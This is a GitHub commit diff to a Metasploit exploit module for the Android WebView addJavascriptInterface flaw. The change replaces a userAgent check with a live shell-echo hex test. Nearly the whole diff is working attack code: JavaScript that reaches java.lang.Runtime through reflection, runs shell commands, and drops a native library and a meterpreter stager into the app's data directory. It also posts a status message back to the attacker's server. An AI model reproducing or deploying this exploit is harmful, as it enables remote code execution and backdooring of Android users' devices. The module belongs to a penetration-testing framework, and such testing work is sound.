Skip to content

Commit fc84133

Browse files
committed
Add a test on echo to check for hex support.
* This is much nicer than checking version on userAgent, which is often changed when rendered in an embedded webview.
1 parent 2e4c2b1 commit fc84133

File tree

1 file changed

+33
-20
lines changed

1 file changed

+33
-20
lines changed

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 33 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -28,20 +28,12 @@ class Metasploit3 < Msf::Exploit::Remote
2828
:os_flavor => 'Android',
2929
:javascript => true,
3030
:rank => ExcellentRanking,
31-
32-
# The Android 4.0 shell is different than other versions of android
33-
# in that the echo builtin does not allow the \x hex encoding syntax.
34-
# Android 4.0 is still vulnerable to the Java reflection exploit, but
35-
# until we find a way to drop and run the payload, we can't support
36-
# it as a target.
3731
:vuln_test => %Q|
38-
if (!navigator.userAgent.match(/Android 4\.0;/)) {
39-
for (i in top) {
40-
try {
41-
top[i].getClass().forName('java.lang.Runtime');
42-
is_vuln = true; break;
43-
} catch(e) {}
44-
}
32+
for (i in top) {
33+
try {
34+
top[i].getClass().forName('java.lang.Runtime');
35+
is_vuln = true; break;
36+
} catch(e) {}
4537
}
4638
|
4739
)
@@ -97,6 +89,8 @@ def initialize(info = {})
9789
def on_request_uri(cli, req)
9890
if req.uri =~ /\.js/
9991
serve_static_js(cli, req)
92+
elsif req.uri =~ /\.msg/ && req.body.to_s.length < 100
93+
print_warning "Received message: #{req.body}"
10094
else
10195
super
10296
end
@@ -119,7 +113,17 @@ def ndkstager(stagename, arch)
119113
def js(arch)
120114
stagename = Rex::Text.rand_text_alpha(5)
121115
script = %Q|
122-
function exec(obj) {
116+
function exec(runtime, cmdArr) {
117+
var ch = 0;
118+
var output = '';
119+
var process = runtime.exec(cmdArr);
120+
var input = process.getInputStream();
121+
122+
while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
123+
return output;
124+
}
125+
126+
function attemptExploit(obj) {
123127
// ensure that the object contains a native interface
124128
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
125129
@@ -135,6 +139,19 @@ def js(arch)
135139
.getMethod('getRuntime', null)
136140
.invoke(null, null);
137141
142+
// now ensure we can write out a hex-encoded byte with the shell's echo builtin
143+
var byte = exec(runtime, ['/system/bin/sh', '-c', 'echo "\\\\x66"']);
144+
if (byte.indexOf("\\\\") > -1) {
145+
// if youre havin byte problems
146+
var xml = new XMLHttpRequest();
147+
// i feel bad for you son
148+
xml.open('POST', '#{get_module_resource}.msg', false);
149+
// i got \\x63 problems
150+
xml.send("Unsupported shell echo builtin: exploit aborted.");
151+
// but your shell aint one
152+
return true;
153+
}
154+
138155
// libraryData contains the bytes for a native shared object built via NDK
139156
// which will load the "stage", which in this case is our android meterpreter stager.
140157
// LibraryData is loaded via ajax later, because we have to access javascript in
@@ -147,9 +164,7 @@ def js(arch)
147164
148165
// get the process name, which will give us our data path
149166
// $PPID does not seem to work on android 4.0, so we concat pids manually
150-
var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
151-
var ch, path = '/data/data/';
152-
while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); }
167+
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
153168
154169
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
155170
var stagePath = path + '/#{stagename}.apk';
@@ -172,9 +187,7 @@ def js(arch)
172187
return true;
173188
}
174189
175-
if (!navigator.userAgent.match(/Android 4\.0;/)) {
176-
for (i in top) { if (exec(top[i]) === true) break; }
177-
}
190+
for (i in top) { if (attemptExploit(top[i]) === true) break; }
178191
|
179192

180193
# remove comments and empty lines

0 commit comments

Comments
 (0)